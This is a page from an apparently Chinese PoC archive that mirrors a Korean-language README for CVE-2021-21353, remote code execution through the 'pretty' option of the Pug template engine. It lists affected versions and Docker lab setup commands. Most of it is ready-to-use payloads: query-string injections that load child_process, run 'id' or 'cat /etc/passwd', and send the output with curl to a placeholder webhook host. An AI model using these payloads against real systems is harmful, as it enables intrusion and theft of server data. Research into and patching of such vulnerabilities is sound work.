目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-21353 PoC — Pug 注入漏洞

来源
关联漏洞
标题: Pug 注入漏洞 (CVE-2021-21353)
Description:Tmont Pug是 (Tmont)开源的一个应用软件。提供了优化html的方式。 Pug 存在注入漏洞,攻击者可利用该漏洞编译器的“pretty”选项。
介绍
# PUG-RCE (CVE-2021-21353) POC


## 취약점 정보
CVE 번호 : cve-2021-21353  
CVSS 점수 : 8.1  
  
< 취약한 버전 >  
pug_version <= 3.0.0  
2.0.3 < pug-code-gen version,  3.0.0<= pug-code-gen version < 3.0.2

----

## 환경 설정
`git clone https://github.com/jinsu9758/PUG-RCE-CVE-2021-21353-POC.git`  
`cd PUG-RCE-CVE-2021-21353-POC`  
`sudo docker compose up`  

※ 3000번 포트로 접속 가능

----

## Payload
페이로드 테스트  
`?pretty=');console.log('executed');//`  
  
최종 페이로드  
`?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(id)\" <webhook_site>');_=('`  
  
`?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(cat /etc/passwd)\" <webhook_site>');_=('`
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →